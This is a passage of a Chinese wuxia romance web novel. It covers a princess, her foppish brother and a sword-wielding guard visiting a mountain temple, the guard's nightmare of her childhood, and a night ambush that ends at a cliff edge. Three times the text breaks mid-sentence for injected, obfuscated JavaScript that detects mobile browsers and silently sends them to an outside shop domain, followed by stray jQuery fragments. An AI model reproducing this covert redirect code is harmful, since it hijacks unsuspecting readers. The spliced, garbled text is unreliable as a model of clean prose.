一辆低调中透着奢华的马车碾过不平整的山路,沿着蜿蜒的山道徐徐前行。紫檀车身上雕着祥云纹式,锦缎车帘上绣着皇室独有的玄鸟徽记。
车乘里,萧怀翊懒懒靠在软垫上闭目养神,一条腿曲起,手中折扇未合,随意搭在膝上。
他今日着一袭绯色云纹锦衣袍,朱色映衬下,肤色愈发白得晃眼,平添了几分风流气,瞧着便是一副被金玉堆养出来的娇贵公子模样。
不知过了多久,坐在他对面的萧云禾放下手中书卷,一旁随侍的婢女霜月适时递上一盏温茶,替她轻轻捏着肩。
萧云禾抿了口茶,一抬眼又瞧见萧怀翊那一身花孔雀似的打扮,秀气的眉不自觉又拧了起来。
饶是今日已看过许多回,仍觉刺眼非常。
她几番欲言又止,终是没能忍住:“今日好歹是来上香的,在佛祖面前你就不能穿得庄重点。”
“啧。”
萧怀翊眼皮掀开一道缝,扫过妹妹略带不满的神情,没什么好气地回怼道:“萧云禾,人要知足。我肯陪你来这一趟就不错了,还挑三拣四。”
“再说了,这世间的事若是烧上几炷香就能解决,那寺庙的门槛怕是早被人踏平了。”
萧云禾瞪他一眼:“呸呸呸,可不敢对佛祖不敬。”
她本也不是特别相信这些神佛之说之人,只不过近些日子实在太过倒霉,好端端地设个宴也能被贼人闯入府中,自己还险些搭上性命,连带着那位参加宴会的唐门小姐也跟着倒霉受了牵连。
这般接二连三的祸事,简直像是撞了什么邪祟。
这几日她心里总是惴惴的,思来想去,还是决定去庙里拜拜求个心安。
于是天刚蒙蒙亮,就硬拽着萧怀翊一道,直奔这方圆百里香火最盛的青山寺。顺道也祈求下老天开眼,好教她那不成器的兄长早日收收心。
这般想着,萧云禾恨不得马上到青山寺。她素手挑开车帘,朝策马并车而行的女子温声问道:“黎姑娘,还有多远的路?”
车帘外,一人一马闻声而动。
黎昭一勒缰绳,青丝被山风拂起。
她抬眸望去,只见半山云雾间若隐若现一片庙宇连绵,于是回道:“应是不远了,看样子约莫还有半个时辰的路程。”
青山寺离云州有段路程,即便他们天光未亮便启程,这会子日头也已攀直中天,到了一天中暑气最盛的时候。
头顶的艳阳刺得人睁不开眼,萧云禾心里有些过意不去,柔声劝道:“黎姑娘,这日头太毒了,车里宽敞阴凉,不如进车来歇歇?马儿交给藏锋就好。”
车帘半掀着,车内原本懒洋洋倚在软枕上的萧怀翊一僵,人不由自主地坐直了些。
在反应过来自己做了什么后,他又有点恼。
也不知道在跟谁较劲,他索性又瘫回去,放任自己整个人陷进软垫里,愈发坐没坐样。
车外,很快传黎昭客气的婉拒:“多谢郡主好意。习武之人,习惯了骑马赶路,这点日头不碍事的。”
见她执意不肯,萧云禾也不好再劝,眼中热切黯了几分,只好干声回道:“这样啊……那黎姑娘路上多当心些。”
言罢,便有些失落地放下车帘。
这番神情变化落入萧怀翊眼中,他只觉好笑。
“怎么?你很喜欢她?”
萧云禾重新坐回去,瞥见萧怀翊这幅没骨头的懒散样子,忍不住抬脚轻轻轻踢了他一脚:“坐就好好坐。”
见他终于坐正,才开口道:“那当然了。黎姑娘哪里都好,人好看,性子也好,武艺更是没得说,这样沉稳可靠的姑娘打着灯笼都难找,谁会不喜欢。”
如果硬要说黎姑娘身上有什么缺点的话,大概就是太有距离感了吧,看上去笑眯眯对谁都客客气气的,但就是感觉让人接近不了。
当然了,黎姑娘那么好,也不是人人都有眼力见的,比如面前这个瞎了眼的。
“哥,有时候我真不明白。”萧云禾皱着眉,语气里带着明显的抱怨,“你怎么会讨厌黎姑娘呢?”
总不能是因为上次让黎姑娘去怡香楼逮他回来,把人给得罪了吧?
好像那天是听下人们禀报说萧怀翊还挺生气的。
据说气得脸都红了。
可转念一想,萧云禾又觉得不太对。似乎从二人第一次见面起,兄长就看黎姑娘不太顺眼,明明从前两人都没有见过面。
萧云禾不由得替黎昭觉得有些冤枉。
“宴会那晚若非黎姑娘警觉出手相助,我和唐姑娘的性命怕都悬了。”
“人家费尽心思护着我们周全,你倒好,整日里不是冷着一张脸就是爱答不理,鼻子不是鼻子眼不是眼的......”
“我都不知道你到底想干什么。”
萧云禾滔滔不绝地说着。
萧怀翊没仔细听,心思有些飘忽。
右手边的车帘随马车颠簸轻轻晃动。
帘影一开一合,他的目光越过窄窄的帘隙,无声地落在帘外那道身影上。
日光熔金,倾泻而下,洒落在黎昭的肩头发间,将她整个人笼在一片灿亮之中。那张脸生得明媚俏丽,却并非娇柔之态,眉眼如画,带着几分不容侵犯的凌厉,似一株迎风的劲竹,挺拔修颀,自有一份清绝孤韧的气韵。
他第一次见到黎昭,并不是在无涯谷,而是在九幽盟的血炼场。
彼时,她还不叫黎昭。
血修罗告诉他这女孩平日里寡言少语,没人知道她叫什么,只听说是主动跟着殷无欢回来的。
那时的黎昭稚气未脱,刚从一场厮杀中脱身,衣襟染血,长剑尚未归鞘,血珠顺着剑尖滴落。
她立在一片尸骸之上,神色却出奇地平静,仿佛对这些景象习以为常。
似乎知道有人在观察她,她抬眼望向高台,目光淡淡。
那眼神他再熟悉不过。
只一眼,他便知这人同他一样,对这个地方压抑着恨。
有意思。
明明厌恶到极致,却还要装出一副适应这里的模样。
高台之上,站在身侧的血修罗笑声阴沉,语气里带着几分兴味:“怎么样,还不错吧?居然连着三次在擂决中拔得头筹。”
“难得小小年纪便如此心狠果决,您看此人送去武林盟如何?”
听着血修罗的话,他漫不经心地垂下眼,不紧不慢地开口:“这样的人,你就不怕掌握不住?”
血修罗哈哈一笑,“您是觉得她会反水?”
随后又笃定说道:“不,她不会。”
显然,是九幽盟低估了她。
所以,当一切尘埃落定,慕怜舟在无涯谷外的杏林捡到满身是血,奄奄一息的黎昭时,他只是在想,明明是个聪明人,怎么会把自己弄得如此狼狈?
*
萧怀翊不同声色地移开看向窗外的视线,语声平平:“我不讨厌她。”
萧云禾所有的喋喋不休戛然而止,她微微瞪大眼睛,几乎以为自己听错了。
然而萧怀翊已不再给她探寻的机会,重新阖上眼,将头靠回软枕,又当回那个万事不入心的纨绔公子。
黎昭骑在马上,走着走着,那似曾相识的古怪熟悉感又一次涌了上来。
怎么老感觉有人在看她。
可待她抬眸望去时,又只见晃动的车帘在风中轻轻摇曳。
黎昭不由摇头,暗忖定是近些日子思虑过多,才会这般恍惚。
她收回视线,心思已转回正事。
今日听说萧云禾和萧怀翊出门上香,本应是个接近唐芷的绝佳时机,谁知萧云禾也一并叫上她随行。
如今她顶着王府护卫的身份,再加上萧云禾平日里待她着实亲厚,实在不好推拒。
只是唐芷那边......
如今唐芷的伤势日渐好转,待痊愈后必定要回唐门,到那时再想接近她恐怕是难上加难了。
黎昭暗暗盘算着,要不然干脆等一个月黑风高的黄道吉夜将人绑走算了,反正自己只是想要探听一些蛊人的消息,又不会伤她性命。
大不了,事成之后再把人送回来便是,或者好人送到底,直接送她回唐门也行。
正思量间,身旁的马车缓缓停下。
入眼是一行绵长的青石山阶,一路而上,直抵山门。山风送来缕缕檀香,檐角的铜铃随风轻响,悠远空灵,恍若梵音。
青山寺到了。
萧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592500|187415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
云禾率先在霜月的搀扶下下了车。她早些时候已派人先行通禀。
南安王府是整个蜀中最勋贵的门户,青山寺自是不敢怠慢皇室,得知郡主车架将至,寺内住持净明方丈亲自率众僧在寺门前恭候。
“阿弥陀佛,老衲恭迎王爷郡主。”净明方丈双手合十,低眉行李。
萧云禾唇角噙着得体的浅笑:“净明大师不必多礼。今日冒昧叨扰,还望莫怪。”
二人寒暄了一会儿,萧怀翊才扭扭捏捏地探身出来,那身绯色锦衣在阳光下招摇现眼,与周遭青灯古佛的清寂格格不入。
黎昭被晃得眼睛疼。
她若有所思地看了他一会儿,方才那似曾相识的熟悉感迟迟未再浮现。
看来果然是自己这几日夜不安枕,想太多了。
萧怀翊下了车,目光便装作不经意地扫过周围,最终停在那道碧色身影上。
视线微抬,恰在那一瞬,与黎昭尚未来得及收回的目光撞了个正着。
两相对视,萧怀翊率先炸毛:“你看我做什么?”
黎昭在心中暗自翻了个白眼,这人真会倒打一耙,若不是他先做贼似的偷瞄,又怎会撞上她的目光。
萧怀翊心知黎昭最讨厌酒色之徒,于是便折扇一摇,故作一副浪荡公子的模样:“黎姑娘这般盯着本王看,莫不是对本王有意?”
黎昭一时无语。
她实在不明白,萧怀翊为何执着于此,他是真打心眼里觉得这样特别风流潇洒吗?
好在,她大概也摸清了他的路数。
黎昭展颜一笑,恰似三月春桃出绽,明艳不可方物。
“王爷生得确实一表人才,我看王爷长得好看,不行吗?”
心脏“咚”地一声,狠狠撞了一下。
萧怀翊维持着脸上的冷淡,极力压下心底那点不期然地雀跃。
他面无表情地想,不能再上当了,她一贯会哄骗人。
从前在无涯谷的时候便是如此,他也曾真切地以为她是有点喜欢他的。
可事实上,并非如此。
见萧怀翊绷着脸一言不发,黎昭笑嘻嘻地抬步走到他身前,半开玩笑半是认真:“不过王爷且放宽心,我心有所属,这辈子非一人不嫁,怕是不会再与王爷有婚嫁之缘了。”
这话落下,似一捧冷水,将心头那点隐秘的悸动浇得透凉,方才的兵荒马乱渐渐平息,只剩死寂。
萧怀翊眸色沉沉,冷声道:“你知道就好。”
知道就离他远些,少来招惹他。
萧云禾那厢与主持交流完,一回头恰好看见黎昭言笑晏晏地同萧怀翊讲话。
“黎姑娘,你们说什么呢?这般开心。”
黎昭笑着迎上前,温和回道:“没说什么,就是夸了王爷两句。”
萧云禾半信半疑。
夸他?萧怀翊有什么可夸的。
她狐疑地看了看两人,只见萧怀翊轻哼一声,面无表情地别过头。
萧云禾心道:又来,这臭德性,也不知道随了谁。
见黎昭走近,她索性不再理会萧怀翊,笑着挽住黎昭道:“走吧,进去上香。”
他们一行人进去后不久,有一名男子快步登上山门,神色略显仓促。
他走进寺内,拦住正在洒扫的小沙弥,抱拳问道:“请问这位小师傅,郡主与王爷的车驾可是已经到了?”
这话问完,他又不好意思地挠挠头,笑道:“我来得迟了些。途中有一匹马受了惊,耽搁了些时辰。郡主仁慈,让我处理好后再赶上来。”
小沙弥抬头看他一眼,只见此人年纪不大,又身着王府侍卫服制,神色腼腆,并无异样。
“几位贵人方才去上香了,”小沙弥指了指大雄宝殿的方向,“您顺着那边的回廊过去便是。”
男子微一颔首,道了谢。
临走前,又状似随意地多问了一句:“对了,小师傅可知王爷郡主今夜下榻何处?皇室规矩多,我们这些做下人的好提前去安置。”
小沙弥并未怀疑,随口答道:“男施主们住在听松院,女施主们住在清音院。两处院落离得不远,喏,你沿着这条小路一直往前走,走到尽头便能看到。”
“多谢小师傅”
10. 危机
大雄宝殿内,香雾沉沉,巨大的金身佛像低垂着眼眸,悲悯地俯视着芸芸众生。
萧云禾跪在蒲团上,双手合十,神情无比虔诚。
她闭上眼,在心底默默祈祷着:
云禾一介凡人,叨扰佛前,一愿王府兴盛安泰,二愿兄长早日收心,三愿能早日查明刺客身份。若诸事得遂,愿以香火长明,以谢佛恩。这几日霉运连连,还望佛祖垂怜,早散阴晦,重得吉祥。
她身后,萧怀翊静立一旁。
他并未跪拜,只负手而立,微微仰头望着那尊金身佛像,香烟缭绕在他眉眼之间,掩去了往日的轻浮,添了几分冷俊疏淡的气度。
萧云禾拜完,回身见他兀自发着呆,一动不动,也不知道在想什么。
她出声催促:“该你了。”
萧怀翊笑了一下,混不在意道:“我就算了。”
世人拜佛,无非是贪嗔痴妄,求而不得,可他今生并无所求,故也拜无可拜。
来都来了,他什么意思?
萧云禾转过身,她明眸含恼,不依不饶地威胁:“我不管,今日好歹跑了大老远的路才到这青山寺,说什么你都得给我做做样子。”
她强行拽着萧怀翊的袖子,不由分说地将他拖到蒲团跟前:“要是你自己没愿望想许,就替我许个,就说愿王府繁荣昌盛,快点!”
很多时候,有个妹妹是真的挺烦的。
见她瞪眼,萧怀翊懒洋洋地抬手摆了摆,带着几分敷衍:“行行行,许许许。”
随手撩起衣摆,萧怀翊学着她方才的样子屈膝跪在蒲团上。
有钟声自殿外遥遥传来,一声接一声,绵远悠长,荡开在袅袅青烟之中。
慕怜舟从来都不信神佛。
他垂下眼,心底漫上一丝冷意,若真有神明俯视察人间,那当年他困于深渊,孤立无援之时,又为何无人曾垂怜半分?
他自厌地想,若苍天有眼,那像他这样弑父杀母满身罪业之人,死后合该下地狱才是,又怎配得这重活一世的机缘?
萧怀翊缓缓闭上眼睛,
黑暗中,却有一张俏丽的面容清晰浮现。
他确实无愿可求。
若一定要有……也仅此一桩。
但愿此生,他与她各自安好,再不相干。
*
黎昭候在殿外,并未进去。
等了一会儿,见萧怀翊率先从殿中出来。正犹豫着要不要迎上去,却见他很快移开目光,目光虚虚地从她头顶掠过,径直投向不远处那棵苍郁的菩提树。
他脚步未停,直接与她擦肩而过,摆明了不想搭理她。
黎昭眉梢一挑,大概猜到是因为方才马车前的那番话。
行啊,最好一直别和她说话,她还乐得清静些呢。
很快,萧云禾也上完香出来了。她瞧见黎昭独自站在殿外,不由疑道:“黎姑娘怎么不去拜一拜?”
黎昭浅浅笑了下:“我不信这些。”她素来不信神佛,只信手中的刀和脚下的路。
这一个两个的,都是怎么回事?
萧云禾下意识找寻萧怀翊的身影,只见不远处的大树下,他倚在石栏边,藏锋正殷勤地替他扇着扇子。斑驳的树影映得他神情比方才更显几分郁郁,眉眼间似有未散的烦闷。
萧云禾收回视线,只当他厌烦这佛门清规。
转过头,她朝黎昭眨了眨眼睛,小声说道:“巧了,我原本也是不太信的。可来都来了,心中若有所愿,拜一拜,求个心安也好。”
黎昭闻言看向她身后。
正殿供奉的那尊释迦摩尼佛像,宝相庄严,金身生辉。而相隔不远的偏殿则供奉的是另一尊面相圆润,笑容和蔼的佛像。
她曾听人说起过,弥勒佛,未来佛,寓意往生。
黎昭神色微凝,若有所思。
上完香,添了香油钱,有僧人引着他们去往后院的厢房安顿。
青山寺地处偏远,若是即刻返程,时间上虽是来得及,但山路曲折,夜间行路未免太过奔波,倒不如在寺中歇下一晚,明早再回。
傍晚时分,黎昭独自一个人走出了暂居的小院。
暮色渐合,寺中香客已散尽,她信步穿过回廊,未觉之间,竟又行至白日里那座大雄宝殿前。
正出神间,一道平和的声音自身侧响起:“阿弥陀佛。女施主去而复返,可是有心事未了?”
黎昭微微一怔,侧身看去,见是位身着赤色袈裟、眉目慈和的老僧。
她记得他,正是白日里曾有一面之缘的净明方丈。
夜色温柔,将黎昭清丽的面容衬得多了几分柔和,她犹豫了一下,恭声问道:“净眀大师,敢问寺中可否设有供奉长明灯之处?”
“确有。”净明方丈目光温和,仿佛洞悉一切,“长明灯乃为生者祈福,为亡者引路。女施主,是欲为何人点灯?”
黎昭静默片刻,视线垂落。
“是为我已故的夫君。”
净明方丈双手合十,未再追问,微微颔首:“如此,女施主请随我来。”
他引着黎昭来到专门供奉长明灯的大殿,数百盏长明灯静静燃烧,宛若星河落地
“请施主写下亡者名讳。”净眀方丈将一支笔递给她。
黎昭接过笔,在那小小的牌位上,极其认真地写下三个字:慕怜舟。
看着那盏属于慕怜舟的长明灯被安放在灯海之中,鬼使神差地,黎昭轻声问了一句:“大师,点了这长明灯,已逝之人来世能投个好胎吗?”
净明方丈笑容意味深长:“缘法善恶,自有因果。有施主这般挂念,想必来世应是圆满安康之身。”
黎昭莞尔,那就好。
慕怜舟是个好人,她希望他下辈子能过得好一些,活得久一些。
踏出大殿时,夜色渐浓。
黎昭前脚刚出门,便看见萧怀翊自前方转角走出来。
四目相对,两人俱是一愣。
萧怀翊本来只是独自出来散散心,途经此处时,见殿门半掩,灯火微明,原想着进去看看。可还未踏上台阶,便瞧见黎昭从殿中走出。
他眸光微敛,眼底那抹极细微的情绪波动一闪而逝,随即被冷淡与疏离覆去。
他忽然想起白日里在佛前许下的心愿,此生此世,愿与她再无瓜葛。
既然是这样……
萧怀翊什么也没说,只略略侧身,避开她的目光,转身离开。
不是,他还记着呢?就这点小事,至于吗。
黎昭目送他背影远去,心中淡淡浮起两个字:记仇。
*
寺中夜深人静,万籁俱寂。
黎昭回到厢房时,灯火已尽。她躺在榻上歇了片刻,许是一路疲惫,竟难得地很快入睡。
她梦见自己又回到了七岁的那年冬天,身上穿着单薄打着补丁的衣裳坐在怡红楼后院的石阶上,肚子饿得咕咕叫。
不知过了多久,好容易听到二楼房间内闹腾的声音渐消,她眼神一亮,迅速站起身,朝掌心呵出一口白气,待冻得通红的双手勉强搓出些知觉后,这才噔噔噔地小跑上楼,怯生生地敲响了那扇门。
门很快打开一条缝,探出头的是个妆容浓艳,神色倦怠的女人。
见到是她,女人马上换上了一副厌烦的神色:“死丫头,又来要钱?滚滚滚!别碍老娘的事!”
说着,她就要关上门。
黎昭眼疾手快,用尽全身力气拼命抵住门板,声音大得刻意让里屋的人也一并听得清清楚楚:“阿稔和我已经三天没吃上饭了。”
果然,内间传来男人醉醺醺的问话:“月红,谁在外头?”
柳月红神色一紧,忙侧身挡住门缝,不耐烦地在怀里摸索,嘴上不忘小声咒骂着:“赔钱东西,讨债鬼,生下来就是克我的,天天就知道花老娘的钱。”
她摸出来三枚铜板,扔在她脚边:“拿去,赶紧滚。”
趁着黎昭低头去捡铜板的功夫,“砰”的一声,眼前的门被重重摔上。
铜板叮当散落在地,其中一枚径直滚向楼梯。
黎昭连忙去追,临走前听到房间内二人的说话声。
“刚才那个孩子该不会是你的吧?”
“哎呀,周老爷这话说得,奴家哪生过什么孩子。”柳月红嗔笑着,声音又软又媚,“不过是街上的一个小叫花子罢了,之前施舍过几顿饭,谁知这死丫头就赖上奴家了。唉,奴家也是心太软。”
“不是就好。”
“爷倒是可以给你赎身,但你要是带着个拖油瓶,那可不成,爷才不做那冤大头。”
“您就放心吧。”
两人说着笑着,又闹了起来。
黎昭身形一顿,但也只是停了片刻,便又小跑着去
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594213|187415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
追那枚越滚越远的铜板。
她在楼下的院子里来来回回找了许久,草丛翻了好几遍,却始终没能找到那枚铜钱。
最后,她躲到后院堆杂物的角落,把头深深埋进膝盖,整个人蜷成一小团。
心里空落落地发疼,她死死咬住嘴唇,努力忍住哽咽,眼圈却还是不受控制地红了。
“阿蘅,你是在找这个吗?”一道温柔的声音在头顶响起。
黎昭抬起被泪水模糊的双眼,一双比她稍大些但同样脏兮兮的小手摊开在她面前,掌心里正正躺着一枚铜钱。
她愣愣地顺着那双手向上看去,对上了一双温润明亮的眼眸。
阿稔看着妹妹红肿的眼眶,又望了望二楼母亲房间的方向,心里明白了七八分。
他蹲下身,变戏法似的从怀里掏出一个还冒着热气的烤红薯,塞到她手里:“快,趁热吃。”
“哥,你哪来的?”小阿蘅惊讶地问。
少年眼神亮晶晶的,带着点小得意,“我用自己种的白菜跟后街张婶换的,厉不厉害?”
他一边说,一边笑,眼底闪着少年人特有的明朗:“我在跟东街李员外家的园丁刘伯学种菜,平日里帮他打打下手。刘伯人很好,给了我好多种子,还说可以种在他那快地上。等到来年秋天,咱们就能吃上自己种的玉米了,一定能吃饱。”
他用力揉了揉她的头发,语气里满是对未来的憧憬:“阿蘅,别难过,日子会越来越好的。刘伯夸我手巧,种什么活什么。等我再学得好些,再多攒点钱,我们就能离开这儿。到那时,我们盘一小块地,种点粮食、养几只鸡,也能好好过日子。”
可她终究没能等来阿稔口中说的那个秋天。
周遭的情景渐渐褪色,不知何时化作了九幽盟阴森残酷的血炼场。
黎昭看到几个少年将兄长堵在墙角,拳脚如同雨点般砸下,伴随着恶毒的嘲骂。
“哈?九幽盟怎么会带一个瘸子回来?”
“死瘸子!”
“废物!”
“你也配来血炼场?哈哈哈哈是来当肉桩被人打的吗?”
“快点,打死他!”
住手!快停下!你们这帮畜生!
可没有人听见黎昭心中的嘶喊。
那群人终于停手的时候,她看到兄长倒在血泊里,鼻青脸肿,气息微弱,早已昏死过去。
四周回荡着放肆刺耳的嘲笑。
身侧忽有一声蛊惑的低语响起:“看到了?弱者终归为食,只有变得更强,才能保护想保护的人。”
“你现在还不想杀人吗?”
“去吧,拿上手中的剑,杀了他们。”
黎昭只觉浑身气血翻涌,杀意如潮水般汹涌袭来,彻底淹没了理智。
她死死盯着那几人,眼神冷得像在看一具具尸体。
他们都该死。
他们都得死。
手起刀落,一声声惨叫不绝于耳……当她停下时,周围已再无声息,浓重的血腥味几乎令人窒息。
她大口喘息着。
身后突然传来动静,黎昭猛然回头。
血泊中,本该昏迷的兄长,竟不知何时坐了起来。
他的脸色白得吓人,毫无生气。他看着她,露出一个惨白的笑,嘴唇翕动,发出断断续续的声音:“阿、蘅、怪……”
黎昭瞳孔骤缩,她知道接下来要发生什么,大吼着:“不要!”
“嘭!”
一声极其可怖的闷响传来,眼前人突然爆开。
视野所及都被染成一片猩红。
而在那浓得化不开的血腥气中,她依稀嗅到了一种奇怪的味道,像是大雨过后,森林深处腐烂的枝叶没在泥土中散发出的阴湿腐朽的气息……
“轰隆——”
一道惊雷炸响。
黎昭骤然从梦中惊醒,心脏剧烈地跳动着,衣衫已被冷汗浸湿。
窗外电闪雷鸣,暴雨倾盆而下,豆大的雨点砸落在屋顶,哗哗作响。
潮湿的水汽顺着半开的窗户钻进来,混杂着湿漉泥土的腥气。
一丝极其浅淡的,如同腐枝枯叶般的霉味隐在其中。
不对劲。
这个念头刚闪过脑海,下一刻,头顶上方寒光乍现。
一道蒙着面的黑影自梁上疾掠而下,手中利刃破风而来,直直刺向床榻。
11. 到底是谁!
还好黎昭反应够快,想也不想攥起身上的薄衾朝来人兜头罩去,同时趁势向床的另一侧翻身滚去,刃尖紧贴着皮肉险险擦过,只差分毫。
路凌空万万没想到这都能被她躲过去,见一击不成,眼中戾气暴涨,抬手便要再刺。
可黎昭已经不再给他机会,屈膝狠狠踹向那人持刀的手。
这一脚又快又狠,路凌空躲闪不及,短匕险些脱手。
“想杀我啊?”黎昭轻笑一声,身为刀客,刀不离身,纵是入睡,孤影刀亦在身侧。
她反手抽刀,刀光如冷月乍现,映亮了她凌厉的眉眼。
“也不掂量掂量自己有几条命。”
语未尽,人已动,刀气纵横,劲风呼啸而至。
路凌空也不是吃素的,当机立断抬手,试图架住这当头一刀。
“铮”地一声,匕首与长刀相撞。
惊人的力道顺着刀锋压下,震得路凌空虎口发麻。
他心下骇然,没料到她一个姑娘家看着纤细,腕力竟如此刚猛。眼中阴鸷之色一闪而过,路凌空借着下沉之势就地一滚,意在攻她的下盘。
黎昭仿佛早有预料,在他滚地的刹那,后撤躲开,长刀由劈变刺,不再留任何余地,照着他暴露的后背狠狠砍去。
皮肉翻开,鲜血喷涌而出。
浓郁得化不开的腐败霉味在空气中弥漫开来,仿佛从尸骨缝里渗出,腥气沉重,令人作呕。
这味道......黎昭眼睛蓦地睁大,她终于想起来了。
那日悬镜宗后山竹林,在那个与哥哥长得一模一样的人身上,她曾闻到过相似的味道。
黎昭眼神犀利,语气森冷:“你到底是谁?”
路凌空咬紧牙关,一言不发,面上已显出招架不住的狼狈之色。
他心知今夜已彻底失算,再缠斗下去就算不死也定会暴露身份,他的命无所谓,但若耽误了阿芷的正事,那便真是得不偿失。
不过好在他今夜的目的本就不是取黎昭的性命。
路凌空身形一晃,佯作回攻,趁黎昭没反应过来,猛地倒向身后大开的窗户。
想逃?
“哪里跑。”黎昭眼中寒意更盛,没有丝毫犹豫,足尖一点,便追了上去。
*
隔壁院的厢房中,本该在睡梦中的萧怀翊睁开眼,太阳穴一阵阵地发胀。
他向来浅眠,今夜不知为何格外心神不宁。
窗外不知何时下起了雨,雨势浩然,哗啦啦地敲打着屋檐,雨夜常有的草木湿气下,依稀残留着一缕极淡却异常冲鼻的气味。
萧怀翊心下一沉,屏住了呼吸。
是迷魂散。
他立刻披衣起身,几步走到窗边,指尖顺着窗沿缝隙摸去,果不其然沾到些白色粉末。
迷魂散无色无味,是江湖上最常见的迷药,对人的身体倒是无害,却能令人昏睡不醒,难怪方才醒来时会觉得头痛欲裂。
正思忖间,哗然雨声中,忽然有一道极细微的破窗声钻入耳中。
听声音,似乎是女眷院子里传出的动静。
萧怀翊心头一凛,扬手推开窗,正好看见朦胧雨幕中,那道再熟悉不过的窈窕身影扛着大刀追着一个黑衣人纵身没入茫茫夜色。
萧怀翊低咒一声,脸色阴沉得几乎能滴出水来。
身体先于头脑做出反应,他单手一撑窗台翻出窗外,双脚落地时,陌生的沉重感令他略微有些不习惯。
没有内力的身体果然麻烦,要紧关头连轻功都使不出来。
他强压下心头烦躁,疾步奔向寺院的马厩,随手牵出一匹稍壮点的马,利落地翻身上去。
远方密林深处一片漆黑。
萧怀翊在脑海中迅速回忆着白日上山时的地形,如若没记错,东侧似有一条杂草遮掩的小径,从那里切入或许能更快追上他们。
理智渐渐回笼,缰绳握在手里,萧怀翊却迟迟未有动作。
没有人比他更清楚黎昭的实力,以她如今的功力,等闲之辈根本不是她的对手,更何况她身上还有寒玉髓,区区迷魂散应当奈何不了她,就算是真动起手来,吃亏的多半也是对方。
萧怀翊垂下眼,其实根本用不着他操心。
马在原地不安地踏着蹄子,雨拍打在脸上,冰冷刺骨。
可是……万一呢?
夜色这么深,林子里地形复杂,万一对面不止一个人?万一林中还设有别的埋伏?
雨水顺着眉骨滑落,没入紧抿的唇。
萧怀翊烦躁口地吐出一口气,狠狠一夹马腹,终是策马冲上那条湿滑的小径。
真是欠了她的。
算了,反正闲着也是闲着,顺路去看看也无妨。
*
这场雨还在下,树叶被风吹得猎猎作响。
黎昭一路追着那人不知不觉已闯入山林深处,放眼望去,四周黑黢黢一片,唯有雷光偶尔划破天际,将树影映得狰狞可怖。
冰凉的雨水顺着湿漉漉的额发流下,模糊了视线,有那么一瞬,黎昭眼前骤然一暗,一时间辨不清方向。
她蓦地刹住脚步,警觉地抬眸环顾四周,却什么也看不清。
路凌空察觉到黎昭的迟疑,只当是迷魂散现在才发挥效用。
来青山寺前,他早已提前踩过点,清楚记得就在他们斜后方不远处,便是一处陡峭断崖。
路凌空无声地勾了勾唇,笑意阴冷。看来今日当真是老天助他,既然天意如此,那就休怪他手下无情。
只要杀了这个爱多管闲事的女人,阿芷的计划便能更加顺利。
这般想着,路凌空停下脚步,回身挑衅道:“怎么?方才的威风哪去了?”
黎昭见他忽然不跑了,心中登时升起一丝不妙的危机感,直觉必定有诈,但她现在急于知道真相,已顾不得许多。
她暗暗握紧了手中的刀,声音清冷:“你与唐门蛊人有何瓜葛?”
路凌空一惊,眼底掠过惊涛骇浪,她竟然连蛊人一事都知晓?
这女人到底什么来头?究竟查到了多少?难道说她是唐菱派
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599763|187415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来的人,要对阿芷不利。
心思百转千回,路凌空眸色渐冷,杀心更炽。
今夜,她的命势必要留在这。
“想知道?”路凌空的声音在雨夜中显得格外阴森,“那就拿你的命来换吧。”
说罢,他再次欺身上前。
黎昭举刀相迎,被这番话激起了几分血性。纵使视线受阻,她的听觉亦非常人能及,仅靠听声辨位,招招不离路凌空要害,眨眼间又在他身上添了几道伤口。
路凌空忍着痛狼狈闪躲,步伐看似凌乱,退避间却颇有章法,不动声色地将黎昭往断崖的方向引去。
黎昭见他连连后退,冷笑道:“不自量力。只会抱头鼠窜的宵小,也敢来与我为敌?”
她攻势愈加凌厉,打算一鼓作气速战速决,谁料打着打着脚下突然一空,天地间陡然倾覆。
居然是一处是断崖,这小子使诈。
好,很好。
黎昭马上明白过来,打不过就跟她玩阴的是吧?
这笔帐她记下了。
黎昭强提一口气,堪堪稳住身形,抬眼的瞬间,正对上一双似曾相识的眼睛。
想不起来在哪里见过,便听到那人一字一顿地说:“去、死、吧。”
说着,他掷出匕首,去势凌厉,刃尖正对她的要害。
黎昭本能地偏身躲闪,这下整个人彻底失去平衡,不受控制地向后栽去。
千钧一发之际,一支箭矢破开雨帘,“咻”地一声,将半空中的匕首击飞。
路凌空错愕转头,夜色中隐约可见一道高大身影手持一把小巧的机关袖弩。
唐门的机关弩?
这女人果然和唐门关系匪浅。
然而,还未等他看清来人面容,那人已如离弦之箭一般奔至崖边。
